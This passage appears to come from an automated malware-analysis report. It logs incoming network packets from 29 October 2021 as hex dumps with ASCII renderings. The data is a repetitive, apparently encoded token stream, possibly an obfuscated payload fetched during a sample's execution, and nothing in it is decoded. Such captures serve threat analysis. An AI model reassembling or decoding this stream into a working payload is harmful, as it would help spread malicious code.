6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b Data Ascii: k OU Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO WL PkU PPs PPO Lk BO zL WB sU ss PkU PPs Bs Oz Wk WO zO POB PPB PkU PPs WO Oz Wk WO PUB PPW PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk PPs Wk WO ss PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk
2021-10-29 15:55:28 UTC	1260	IN	Data Raw: 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a Data Ascii: Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Wk Oz Wk WO z
2021-10-29 15:55:28 UTC	1262	IN	Data Raw: 6c 20 50 50 4f 20 50 50 6c 20 73 55 20 73 20 57 4c 20 4f 55 20 57 6b 20 6c 6b 20 4f 73 20 50 6b 7a 20 50 50 6c 20 50 6b 55 20 50 73 73 20 73 42 20 4f 6c 20 57 6b 20 57 4f 20 55 4f 20 73 6b 7a 20 55 4c 20 50 4c 4c 20 50 50 73 20 57 6b 20 57 4f 20 55 4c 20 73 73 20 7a 4f 20 50 50 4f 20 50 73 6c 20 55 6c 20 6c 73 20 57 73 20 57 6b 20 57 6b 20 57 4f 20 6c 6b 20 50 50 73 20 55 4c 20 6c 42 20 50 50 73 20 57 6b 20 57 7a 20 42 4c 20 42 55 20 50 73 7a 20 50 50 57 20 50 50 6c 20 50 6b 6c 20 55 55 20 57 4f 20 42 6c 20 4c 6b 20 57 57 20 7a 4f 20 50 50 42 20 50 6b 73 20 50 6b 4f 20 55 6c 20 57 4f 20 6c 7a 20 4f 4f 20 57 4f 20 7a 4f 20 50 73 6b 20 7a 20 50 57 50 20 50 50 73 20 57 6b 20 57 73 20 6c 42 20 4f 6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 73 42 20 50 50 7a 20 Data Ascii: l PPO PPl sU s WL OU Wk lk Os Pkz PPl PkU Pss sB Ol Wk WO UO skz UL PLL PPs Wk WO UL ss zO PPO Psl Ul ls Ws Wk Wk WO lk PPs UL lB PPs Wk Wz BL BU Psz PPW PPl Pkl UU WO Bl Lk WW zO PPB Pks PkO Ul WO lz OO WO zO Psk z PWP PPs Wk Ws lB Ok zO PPO Psl PsB PPz
2021-10-29 15:55:28 UTC	1263	IN	Data Raw: 50 50 6c 20 50 6b 55 20 50 50 42 20 73 42 20 57 50 20 57 6b 20 57 4f 20 50 73 6c 20 73 55 20 55 57 20 50 6b 7a 20 50 50 73 20 57 73 20 4c 4c 20 57 57 20 4c 55 20 7a 6b 20 50 4f 6b 20 50 50 57 20 50 7a 42 20 50 50 4c 20 57 6b 20 57 4f 20 42 57 20 42 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 55 20 50 4f 4c 20 57 6b 20 4f 7a 20 57 4f 20 50 55 20 50 73 50 20 50 6b 50 20 7a 4c 20 50 55 20 50 4c 55 20 57 6b 20 4f 7a 20 57 4f 20 73 6b 6b 20 7a 73 20 50 6c 73 20 50 50 42 20 50 6b 55 20 50 50 7a 20 42 57 20 50 20 57 6b 20 57 4f 20 55 4f 20 7a 6c 20 73 4f 57 20 50 4f 42 20 50 50 73 20 57 6b 20 57 73 20 73 42 20 57 6b 20 7a 4f 20 50 50 4f 20 55 4f 20 73 20 7a 42 20 57 50 20 4f 7a 20 57 73 20 4c 55 20 7a 50 20 55 55 20 50 50 4c 20 50 4f 6c 20 50 50 7a 20 73 4c 4f 20 4f Data Ascii: PPl PkU PPB sB WP Wk WO Psl sU UW Pkz PPs Ws LL WW LU zk POk PPW PzB PPL Wk WO BW B zO PPO Psl PU POL Wk Oz WO PU PsP PkP zL PU PLU Wk Oz WO skk zs Pls PPB PkU PPz BW P Wk WO UO zl sOW POB PPs Wk Ws sB Wk zO PPO UO s zB WP Oz Ws LU zP UU PPL POl PPz sLO O
2021-10-29 15:55:28 UTC	1264	IN	Data Raw: 57 20 57 4f 20 7a 4f 20 50 73 6b 20 42 20 7a 57 20 50 50 73 20 57 6b 20 57 7a 20 55 4c 20 50 4c 57 20 7a 4f 20 50 50 4f 20 50 50 57 20 6c 57 20 50 6b 73 20 4c 4c 20 57 4c 20 50 6b 20 73 4c 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 4c 6b 20 57 55 20 57 50 20 4f 7a 20 57 73 20 4c 6c 20 7a 73 20 55 55 20 50 50 57 20 50 73 4f 20 50 50 42 20 4c 57 20 57 4c 20 4c 42 20 7a 55 20 73 4f 55 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 50 20 55 20 4f 7a 20 57 6b 20 42 6b 20 57 55 20 57 73 20 50 50 42 20 50 6b 55 20 50 50 7a 20 4c 57 20 57 4f 20 4c 57 20 57 6b 20 42 55 20 50 50 55 20 50 6b 7a 20 73 20 73 73 50 20 57 6b 20 4f 7a 20 57 73 20 7a 55 20 50 50 50 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 4c 50 20 50 73 73 20 4f 55 20 57 6b 20 4f 7a 20 42 55 20 50 50 42 20 50 6b 6b Data Ascii: W WO zO Psk B zW PPs Wk Wz UL PLW zO PPO PPW lW Pks LL WL Pk sLO zO PPO PPl Lk WU WP Oz Ws Ll zs UU PPW PsO PPB LW WL LB zU sOU PPO PPl Pkl LP U Oz Wk Bk WU Ws PPB PkU PPz LW WO LW Wk BU PPU Pkz s ssP Wk Oz Ws zU PPP PPO PPl PkL LP Pss OU Wk Oz BU PPB Pkk
2021-10-29 15:55:28 UTC	1266	IN	Data Raw: 20 50 50 6c 20 50 6b 55 20 50 73 73 20 73 42 20 55 20 57 6b 20 57 4f 20 55 4f 20 50 73 50 20 50 50 4f 20 42 55 20 6c 4f 20 57 6b 20 4f 7a 20 57 42 20 73 6c 20 7a 4c 20 50 50 42 20 50 73 6b 20 50 6c 42 20 55 42 20 4f 7a 20 4f 7a 20 57 6b 20 57 73 20 50 73 4f 20 50 73 73 20 50 50 6c 20 50 6b 55 20 50 50 7a 20 42 73 20 57 57 20 42 57 20 50 57 6c 20 7a 4f 20 50 50 4f 20 50 50 57 20 50 73 42 20 50 50 42 20 4c 57 20 57 73 20 4f 6c 20 50 7a 6c 20 50 4f 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 7a 57 20 73 73 42 20 73 57 4f 20 57 6b 20 57 4f 20 7a 6b 20 55 6b 20 42 42 20 50 6b 55 20 50 50 73 20 57 42 20 42 6c 20 50 6b 20 57 4f 20 7a 4f 20 50 73 6b 20 73 42 20 73 73 6b 20 50 50 73 20 57 6b 20 57 4f 20 73 6b 20 4c 73 20 6c 50 20 50 50 55 20 6c 6c 20 50 6c 73 20 50 50 Data Ascii: PPl PkU Pss sB U Wk WO UO PsP PPO BU lO Wk Oz WB sl zL PPB Psk PlB UB Oz Oz Wk Ws PsO Pss PPl PkU PPz Bs WW BW PWl zO PPO PPW PsB PPB LW Ws Ol Pzl PO PPO PPl Pkz zW ssB sWO Wk WO zk Uk BB PkU PPs WB Bl Pk WO zO Psk sB ssk PPs Wk WO sk Ls lP PPU ll Pls PP
2021-10-29 15:55:28 UTC	1267	IN	Data Raw: 73 20 42 57 20 7a 20 57 6b 20 57 4f 20 55 4f 20 73 55 20 73 50 6c 20 50 6b 55 20 50 50 73 20 57 73 20 57 42 20 73 42 20 4f 7a 20 7a 4f 20 50 50 4f 20 50 50 57 20 73 20 6c 4f 20 57 50 20 4f 7a 20 57 73 20 4c 55 20 7a 4c 20 55 6c 20 50 50 57 20 50 73 4f 20 50 50 7a 20 55 4c 20 57 20 57 50 20 57 4f 20 7a 73 20 50 6b 6b 20 4c 50 20 42 42 20 55 6b 20 4c 57 20 57 4f 20 73 42 20 50 50 42 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 73 42 20 50 73 6b 20 4c 73 20 57 42 20 4f 57 20 57 7a 20 50 73 4f 20 4f 55 20 50 50 6c 20 50 6b 55 20 50 73 73 20 4c 4c 20 57 42 20 4c 73 20 42 73 20 50 73 4f 20 57 4f 20 50 50 6c 20 50 6b 55 20 50 73 73 20 50 55 20 4f 7a 20 50 6c 7a 20 50 4c 50 20 50 42 4c 20 50 4c 57 20 50 6b 20 73 4f 73 20 50 73 6b 20 50 6b 6c 20 55 57 20 4f 20 57 57 20 Data Ascii: s BW z Wk WO UO sU sPl PkU PPs Ws WB sB Oz zO PPO PPW s lO WP Oz Ws LU zL Ul PPW PsO PPz UL W WP WO zs Pkk LP BB Uk LW WO sB PPB zO PPO Psl PsB Psk Ls WB OW Wz PsO OU PPl PkU Pss LL WB Ls Bs PsO WO PPl PkU Pss PU Oz Plz PLP PBL PLW Pk sOs Psk Pkl UW O WW
2021-10-29 15:55:28 UTC	1268	IN	Data Raw: 73 42 20 4f 57 20 50 50 73 20 57 6b 20 57 7a 20 4c 50 20 4f 50 20 42 55 20 50 50 6c 20 50 6b 7a 20 73 73 4f 20 4f 73 20 57 6b 20 4f 7a 20 57 50 20 50 55 20 50 4c 73 20 50 4f 4f 20 50 50 6c 20 50 6b 55 20 50 50 42 20 73 42 20 6c 20 57 6b 20 57 4f 20 55 4f 20 50 20 6c 6c 20 50 6b 55 20 50 50 73 20 57 42 20 55 57 20 50 50 4f 20 57 4f 20 7a 4f 20 50 73 6b 20 7a 55 20 50 6b 4c 20 55 6c 20 57 4c 20 57 42 20 73 42 20 4f 7a 20 7a 4f 20 50 50 4f 20 50 50 57 20 50 73 42 20 50 50 55 20 42 57 20 4f 42 20 57 50 20 57 4f 20 7a 73 20 55 6c 20 50 73 57 20 50 73 4f 20 50 73 6b 20 4c 57 20 57 73 20 4c 57 20 57 50 20 6c 7a 20 73 57 57 20 4f 6c 20 50 6b 55 20 50 50 73 20 57 50 20 73 50 20 73 73 42 20 73 6b 7a 20 7a 4f 20 50 50 4f 20 50 50 4c 20 42 55 20 6c 50 20 57 6b 20 4f Data Ascii: sB OW PPs Wk Wz LP OP BU PPl Pkz ssO Os Wk Oz WP PU PLs POO PPl PkU PPB sB l Wk WO UO P ll PkU PPs WB UW PPO WO zO Psk zU PkL Ul WL WB sB Oz zO PPO PPW PsB PPU BW OB WP WO zs Ul PsW PsO Psk LW Ws LW WP lz sWW Ol PkU PPs WP sP ssB skz zO PPO PPL BU lP Wk O
2021-10-29 15:55:28 UTC	1270	IN	Data Raw: 55 20 50 50 73 20 57 42 20 4c 57 20 57 4c 20 42 55 20 50 42 20 50 50 57 20 50 50 6c 20 50 6b 6c 20 55 55 20 57 7a 20 4c 4c 20 57 7a 20 4c 55 20 7a 6b 20 55 55 20 50 50 73 20 50 50 4f 20 50 73 4f 20 50 55 50 20 50 6b 42 20 57 6b 20 57 4f 20 7a 57 20 7a 6c 20 50 42 57 20 73 6b 4c 20 50 50 73 20 57 6b 20 57 73 20 73 42 20 50 20 7a 4f 20 50 50 4f 20 50 73 6c 20 4c 6b 20 6c 73 20 57 6b 20 4f 7a 20 57 42 20 7a 55 20 73 4f 7a 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 4c 50 20 55 20 4f 7a 20 57 6b 20 42 6b 20 57 55 20 6c 55 20 50 50 42 20 50 6b 55 20 50 50 7a 20 4c 57 20 57 42 20 4c 57 20 57 6b 20 42 55 20 50 50 55 20 50 6b 42 20 50 50 6c 20 73 57 4c 20 50 6b 4f 20 4f 7a 20 57 6b 20 57 57 20 50 50 4c 20 50 42 73 20 50 55 73 20 50 6b 55 20 50 50 73 20 57 4f 20 73 4f Data Ascii: U PPs WB LW WL BU PB PPW PPl Pkl UU Wz LL Wz LU zk UU PPs PPO PsO PUP PkB Wk WO zW zl PBW skL PPs Wk Ws sB P zO PPO Psl Lk ls Wk Oz WB zU sOz PPO PPl Pkl LP U Oz Wk Bk WU lU PPB PkU PPz LW WB LW Wk BU PPU PkB PPl sWL PkO Oz Wk WW PPL PBs PUs PkU PPs WO sO
2021-10-29 15:55:28 UTC	1271	IN	Data Raw: 57 6b 20 57 4f 20 57 6b 20 4c 20 50 50 50 20 50 50 4f 20 50 50 7a 20 55 7a 20 50 50 73 20 57 6b 20 4f 55 20 4c 4c 20 42 20 7a 42 20 50 50 4f 20 7a 73 20 50 6b 55 20 50 50 73 20 57 6b 20 57 57 20 57 6b 20 57 4f 20 42 55 20 50 6b 50 20 50 73 6c 20 50 50 50 20 4c 50 20 50 73 42 20 4f 7a 20 57 6b 20 42 6b 20 55 57 20 7a 55 20 50 6b 6b 20 50 50 50 20 4c 50 20 50 73 42 20 4f 7a 20 57 6b 20 42 6b 20 55 57 20 50 50 42 20 55 7a 20 57 4c 20 50 73 73 20 57 73 20 4f 6b 20 4c 20 57 73 20 7a 4c 20 7a 7a 20 50 50 7a 20 50 6b 42 20 4c 50 20 50 73 6c 20 4f 7a 20 57 6b 20 42 6b 20 50 73 6b 20 50 4f 7a 20 50 50 4f 20 6c 50 20 50 50 73 20 4f 50 20 6b 20 57 57 20 57 4f 20 50 73 50 20 50 50 57 20 50 50 6c 20 50 6b 55 20 50 73 6b 20 57 6b 20 4f 7a 20 4c 57 20 6c 73 20 6c 4f 20 Data Ascii: Wk WO Wk L PPP PPO PPz Uz PPs Wk OU LL B zB PPO zs PkU PPs Wk WW Wk WO BU PkP Psl PPP LP PsB Oz Wk Bk UW zU Pkk PPP LP PsB Oz Wk Bk UW PPB Uz WL Pss Ws Ok L Ws zL zz PPz PkB LP Psl Oz Wk Bk Psk POz PPO lP PPs OP k WW WO PsP PPW PPl PkU Psk Wk Oz LW ls lO
2021-10-29 15:55:28 UTC	1272	IN	Data Raw: 6b 20 4f 55 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 73 50 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 4f 20 57 50 20 57 4f 20 7a 4f 20 55 6b 20 50 50 42 20 50 6b 55 20 50 50 73 20 4f 55 20 4f 7a 20 57 6b 20 57 4f 20 55 4f 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 50 6b 6c 20 73 20 57 50 20 57 6b 20 6c 57 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 6b 20 50 50 73 20 57 6b 20 4c 4c 20 42 57 20 6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 6b 4c 20 50 50 50 20 4f 57 20 50 7a 55 20 50 6b 4f 20 57 4f 20 7a 4f 20 50 50 57 20 7a 6b 20 50 7a 55 20 73 73 6b 20 57 6b 20 4f 7a 20 57 4f 20 4c 6b 20 55 55 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 4c 20 50 6b 20 4f 7a 20 57 6b 20 42 6b 20 6c 57 20 50 6b 4f 20 55 4c 20 42 4c 20 50 50 73 20 57 6b 20 57 7a 20 73 42 20 50 6b 50 20 7a Data Ascii: k OU Wk WO zO PPO PsP PkU PPs Wk OO WP WO zO Uk PPB PkU PPs OU Oz Wk WO UO PPO PPl Pkz Pkl s WP Wk lW zO PPO PPl Pkk PPs Wk LL BW k zO PPO Psl PkL PPP OW PzU PkO WO zO PPW zk PzU ssk Wk Oz WO Lk UU PPO PPl PkL L Pk Oz Wk Bk lW PkO UL BL PPs Wk Wz sB PkP z
2021-10-29 15:55:28 UTC	1274	IN	Data Raw: 73 20 50 6b 55 20 50 50 73 20 57 42 20 42 7a 20 4c 6c 20 57 4f 20 7a 4f 20 50 50 57 20 50 73 50 20 50 6b 50 20 4c 50 20 50 50 6b 20 4f 7a 20 57 6b 20 42 6b 20 4c 7a 20 73 4f 6c 20 50 50 55 20 50 6b 55 20 6b 20 73 42 20 50 6b 55 20 57 6b 20 57 4f 20 55 4f 20 55 4f 20 50 73 50 20 50 6b 6c 20 50 73 6b 20 55 4c 20 50 50 6b 20 57 6b 20 57 4f 20 55 4f 20 73 55 20 57 50 20 50 6b 7a 20 50 50 73 20 57 73 20 57 42 20 55 4c 20 50 6b 42 20 7a 4f 20 50 50 4f 20 50 73 6c 20 4c 50 20 73 57 57 20 4f 7a 20 4f 7a 20 42 42 20 4c 6b 20 55 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 55 73 20 4f 42 20 57 4f 20 57 73 20 7a 55 20 50 6c 20 50 50 57 20 50 50 6c 20 50 6b 6c 20 73 20 50 6c 50 20 57 6b 20 57 6b 20 6c 6b 20 55 73 20 73 55 20 4f 4c 20 50 6b 55 20 50 50 73 20 57 42 20 73 4f Data Ascii: s PkU PPs WB Bz Ll WO zO PPW PsP PkP LP PPk Oz Wk Bk Lz sOl PPU PkU k sB PkU Wk WO UO UO PsP Pkl Psk UL PPk Wk WO UO sU WP Pkz PPs Ws WB UL PkB zO PPO Psl LP sWW Oz Oz BB Lk U PPO PPl PkL Us OB WO Ws zU Pl PPW PPl Pkl s PlP Wk Wk lk Us sU OL PkU PPs WB sO
2021-10-29 15:55:28 UTC	1275	IN	Data Raw: 20 55 4c 20 4f 4c 20 7a 4f 20 50 50 4f 20 50 73 6c 20 55 6c 20 50 73 6b 20 4f 73 20 4c 55 20 4c 6c 20 50 7a 6c 20 50 73 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 7a 57 20 4c 42 20 4f 6c 20 4f 73 20 50 7a 6c 20 50 4f 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 7a 57 20 73 73 42 20 73 4f 4f 20 57 6b 20 57 4f 20 7a 6b 20 55 6b 20 42 42 20 50 6b 55 20 50 50 73 20 57 42 20 42 6c 20 50 6b 20 57 4f 20 7a 4f 20 50 73 6b 20 6c 20 73 73 6b 20 50 50 4f 20 57 6b 20 42 4f 20 6c 42 20 4f 6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 42 55 20 50 50 50 20 57 6b 20 4f 7a 20 57 42 20 50 4f 7a 20 50 73 4f 20 50 57 4f 20 50 50 6c 20 50 6b 55 20 50 50 7a 20 55 4c 20 50 42 20 57 6b 20 57 4f 20 55 4f 20 50 73 6c 20 6c 6c 20 50 42 42 20 50 50 73 20 57 6b 20 4f 7a 20 4c 73 20 57 4c 20 50 73 4f Data Ascii: UL OL zO PPO Psl Ul Psk Os LU Ll Pzl Ps PPO PPl Pkz zW LB Ol Os Pzl PO PPO PPl Pkz zW ssB sOO Wk WO zk Uk BB PkU PPs WB Bl Pk WO zO Psk l ssk PPO Wk BO lB Ok zO PPO Psl BU PPP Wk Oz WB POz PsO PWO PPl PkU PPz UL PB Wk WO UO Psl ll PBB PPs Wk Oz Ls WL PsO
2021-10-29 15:55:28 UTC	1276	IN	Data Raw: 4f 20 50 73 6c 20 50 6b 55 20 50 50 73 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 55 20 50 50 73 20 57 73 20 4f 7a 20 57 6b 20 57 4f 20 4f 73 20 50 50 57 20 50 50 6c 20 50 6b 55 20 73 4f 4f 20 57 50 20 4f 7a 20 57 6b 20 57 4c 20 7a 4f 20 50 50 4f 20 50 50 6c 20 55 7a 20 50 50 73 20 57 6b 20 4f 55 20 4f 50 20 42 20 7a 73 20 50 50 4f 20 50 42 57 20 50 6b 7a 20 50 50 73 20 57 6b 20 42 50 20 57 6b 20 57 4f 20 42 55 20 50 20 6c 4f 20 50 6b 55 20 50 50 73 20 57 42 20 57 7a 20 4f 7a 20 4f 50 20 55 6b 20 73 57 57 20 4f 6c 20 50 6b 55 20 50 50 73 20 57 50 20 73 50 20 73 73 42 20 50 4f 4c 20 7a 4f 20 50 50 4f 20 50 50 4c 20 42 55 20 6c 50 20 57 6b 20 4f 7a 20 57 42 20 42 55 20 50 6b 7a 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 7a 7a Data Ascii: O Psl PkU PPs Wk Oz Wk WO zO PPO PPl PkU PPs Ws Oz Wk WO Os PPW PPl PkU sOO WP Oz Wk WL zO PPO PPl Uz PPs Wk OU OP B zs PPO PBW Pkz PPs Wk BP Wk WO BU P lO PkU PPs WB Wz Oz OP Uk sWW Ol PkU PPs WP sP ssB POL zO PPO PPL BU lP Wk Oz WB BU Pkz PPO PPl PkL zz
2021-10-29 15:55:28 UTC	1278	IN	Data Raw: 20 50 6b 4c 20 4c 50 20 50 57 7a 20 4f 7a 20 57 6b 20 4f 7a 20 57 55 20 6c 4c 20 50 50 6c 20 50 6b 55 20 50 73 73 20 55 4c 20 7a 20 57 50 20 57 4f 20 7a 73 20 55 55 20 50 50 57 20 50 6b 50 20 55 6c 20 57 4f 20 4f 4c 20 50 55 50 20 50 6b 7a 20 7a 4f 20 50 50 4f 20 50 50 42 20 6c 73 20 50 42 6b 20 50 4c 4f 20 4f 7a 20 57 6b 20 57 6b 20 50 73 4f 20 42 55 20 50 50 6c 20 50 6b 55 20 50 73 73 20 42 57 20 7a 20 57 6b 20 57 4f 20 55 4f 20 73 55 20 73 50 6c 20 50 6b 55 20 50 50 73 20 57 73 20 55 57 20 7a 20 57 57 20 7a 4f 20 50 50 42 20 50 6b 6b 20 50 6b 6c 20 55 55 20 57 57 20 73 4c 7a 20 4f 55 20 50 42 20 50 4c 7a 20 50 50 4f 20 50 6b 6b 20 50 6b 4f 20 55 73 20 57 7a 20 57 4f 20 4c 57 20 57 50 20 57 55 20 57 57 20 50 50 6c 20 50 6b 55 20 50 73 73 20 4c 57 20 57 Data Ascii: PkL LP PWz Oz Wk Oz WU lL PPl PkU Pss UL z WP WO zs UU PPW PkP Ul WO OL PUP Pkz zO PPO PPB ls PBk PLO Oz Wk Wk PsO BU PPl PkU Pss BW z Wk WO UO sU sPl PkU PPs Ws UW z WW zO PPB Pkk Pkl UU WW sLz OU PB PLz PPO Pkk PkO Us Wz WO LW WP WU WW PPl PkU Pss LW W
2021-10-29 15:55:28 UTC	1279	IN	Data Raw: 4f 20 50 50 6c 20 50 6b 4c 20 55 73 20 57 73 20 57 57 20 4c 6c 20 50 6c 73 20 55 4f 20 7a 55 20 50 50 4c 20 50 6b 42 20 50 6b 73 20 50 42 7a 20 57 7a 20 73 4c 42 20 57 4c 20 50 50 4f 20 50 6c 73 20 50 50 6c 20 50 6b 6c 20 55 6b 20 57 6b 20 4f 55 20 4c 4f 20 57 4f 20 7a 4f 20 50 50 4f 20 50 50 6c 20 50 6b 6c 20 50 50 73 20 55 6b 20 55 4f 20 57 6b 20 57 4c 20 55 4f 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 50 6b 6c 20 73 20 57 73 20 57 6b 20 73 6b 4c 20 7a 57 20 50 50 4f 20 50 50 6c 20 55 7a 20 50 50 73 20 57 6b 20 4c 4c 20 42 57 20 6b 20 7a 4f 20 50 50 4f 20 50 73 6c 20 50 6b 4c 20 73 20 50 4f 4c 20 57 6b 20 57 6b 20 6c 6b 20 4c 7a 20 7a 6c 20 50 50 7a 20 50 6b 55 20 6b 20 6c 42 20 4f 42 20 57 6b 20 57 4f 20 55 4f 20 55 6b 20 50 6b 42 20 50 6b 55 20 50 50 73 Data Ascii: O PPl PkL Us Ws WW Ll Pls UO zU PPL PkB Pks PBz Wz sLB WL PPO Pls PPl Pkl Uk Wk OU LO WO zO PPO PPl Pkl PPs Uk UO Wk WL UO PPO PPl Pkz Pkl s Ws Wk skL zW PPO PPl Uz PPs Wk LL BW k zO PPO Psl PkL s POL Wk Wk lk Lz zl PPz PkU k lB OB Wk WO UO Uk PkB PkU PPs
2021-10-29 15:55:28 UTC	1280	IN	Data Raw: 57 42 20 73 55 20 7a 6c 20 4c 6b 20 57 73 20 50 50 4f 20 50 50 6c 20 50 6b 4c 20 55 6c 20 57 42 20 73 4f 20 50 73 50 20 57 4f 20 7a 4f 20 50 73 6b 20 73 42 20 50 73 20 50 50 73 20 57 6b 20 57 7a 20 4c 4c 20 57 7a 20 50 73 4f 20 50 7a 20 50 50 6c 20 50 6b 55 20 50 73 73 20 4c 57 20 57 55 20 73 42 20 50 73 57 20 7a 4f 20 50 50 4f 20 50 73 6c 20 73 20 50 6c 20 57 6b 20 4f 7a 20 57 42 20 4c 55 20 7a 7a 20 50 6b 50 20 55 6c 20 42 55 20 7a 42 20 57 6b 20 4f 7a 20 57 73 20 4c 6c 20 7a 55 20 50 6b 50 20 55 6c 20 42 55 20 7a 42 20 57 6b 20 4f 7a 20 57 73 20 4c 6c 20 55 6b 20 55 55 20 50 73 6b 20 42 55 20 6c 42 20 57 6b 20 4f 7a 20 57 42 20 73 6c 20 50 50 73 20 55 55 20 50 73 4c 20 42 55 20 6c 42 20 57 6b 20 4f 7a 20 57 42 20 73 6c 20 6c 55 20 50 50 42 20 42 20 4c Data Ascii: WB sU zl Lk Ws PPO PPl PkL Ul WB sO PsP WO zO Psk sB Ps PPs Wk Wz LL Wz PsO Pz PPl PkU Pss LW WU sB PsW zO PPO Psl s Pl Wk Oz WB LU zz PkP Ul BU zB Wk Oz Ws Ll zU PkP Ul BU zB Wk Oz Ws Ll Uk UU Psk BU lB Wk Oz WB sl PPs UU PsL BU lB Wk Oz WB sl lU PPB B L
2021-10-29 15:55:28 UTC	1282	IN	Data Raw: 57 4f 20 7a 73 20 55 6b 20 50 73 42 20 50 6b 55 20 50 50 73 20 73 57 20 57 50 20 57 4f 20 57 50 20 55 6b 20 50 50 7a 20 50 73 4c 20 50 6b 4f 20 50 73 42 20 57 73 20 42 73 20 57 4c 20 57 42 20 55 73 20 50 73 4f 20 50 73 4f 20 55 55 20 50 73 73 20 55 4c 20 73 6b 4f 20 57 50 20 57 4f 20 7a 73 20 7a 7a 20 6c 20 50 50 50 20 7a 7a 20 4c 55 20 4f 7a 20 57 6b 20 4f 7a 20 4c 7a 20 55 20 50 50 4c 20 50 6b 55 20 6b 20 73 42 20 73 4c 4c 20 57 6b 20 57 4f 20 7a 73 20 55 6b 20 50 73 50 20 50 6b 55 20 50 50 73 20 73 57 20 57 50 20 55 4c 20 73 6b 42 20 7a 57 20 50 50 4f 20 50 50 57 20 6c 50 20 73 73 42 20 4f 7a 20 73 4f 20 4c 55 20 57 4f 20 7a 4f 20 50 50 42 20 6c 20 73 4f 6b 20 50 50 42 20 57 6b 20 42 4f 20 73 42 20 73 4c 55 20 7a 4f 20 50 50 4f 20 50 50 57 20 42 55 20 Data Ascii: WO zs Uk PsB PkU PPs sW WP WO WP Uk PPz PsL PkO PsB Ws Bs WL WB Us PsO PsO UU Pss UL skO WP WO zs zz l PPP zz LU Oz Wk Oz Lz U PPL PkU k sB sLL Wk WO zs Uk PsP PkU PPs sW WP UL skB zW PPO PPW lP ssB Oz sO LU WO zO PPB l sOk PPB Wk BO sB sLU zO PPO PPW BU
2021-10-29 15:55:28 UTC	1283	IN	Data Raw: 20 50 50 55 20 7a 4c 20 50 6c 55 20 50 50 73 20 4c 7a 20 73 42 20 4c 57 20 57 6b 20 50 73 42 20 50 50 4f 20 50 50 6c 20 50 6b 7a 20 55 42 20 57 6b 20 4f 7a 20 57 6b 20 57 4f 20 6c 4f 20 50 50 4f 20 50 6c 20 73 4c 55 20 50 50 73 20 4f 55 20 42 4c 20 57 6b 20 57 4f 20 7a 57 20 50 6b 57 20 42 55 20 50 6b 73 20 50 50 73 20 73 4f 4f 20 4f 7a 20 57 6b 20 57 4f 20 6c 6b 20 50 50 4f 20 50 50 6c 20 50 73 4f 20 50 50 4f 20 42 4f 20 4f 6c 20 57 57 20 57 4f 20 4c 42 20 6b 20 7a 73 20 50 6b 4f 20 50 50 73 20 42 42 20 42 42 20 7a 4c 20 57 50 20 7a 4f 20 73 20 55 4c 20 6c 55 20 50 50 73 20 57 6b 20 57 4f 20 57 42 20 57 73 20 7a 73 20 50 50 4c 20 50 6b 4c 20 50 6b 7a 20 7a 7a 20 50 6c 20 4f 7a 20 57 6b 20 4f 7a 20 7a 7a 20 55 42 20 50 50 4c 20 50 6b 57 20 50 50 6c 20 42 Data Ascii: PPU zL PlU PPs Lz sB LW Wk PsB PPO PPl Pkz UB Wk Oz Wk WO lO PPO Pl sLU PPs OU BL Wk WO zW PkW BU Pks PPs sOO Oz Wk WO lk PPO PPl PsO PPO BO Ol WW WO LB k zs PkO PPs BB BB zL WP zO s UL lU PPs Wk WO WB Ws zs PPL PkL Pkz zz Pl Oz Wk Oz zz UB PPL PkW PPl B
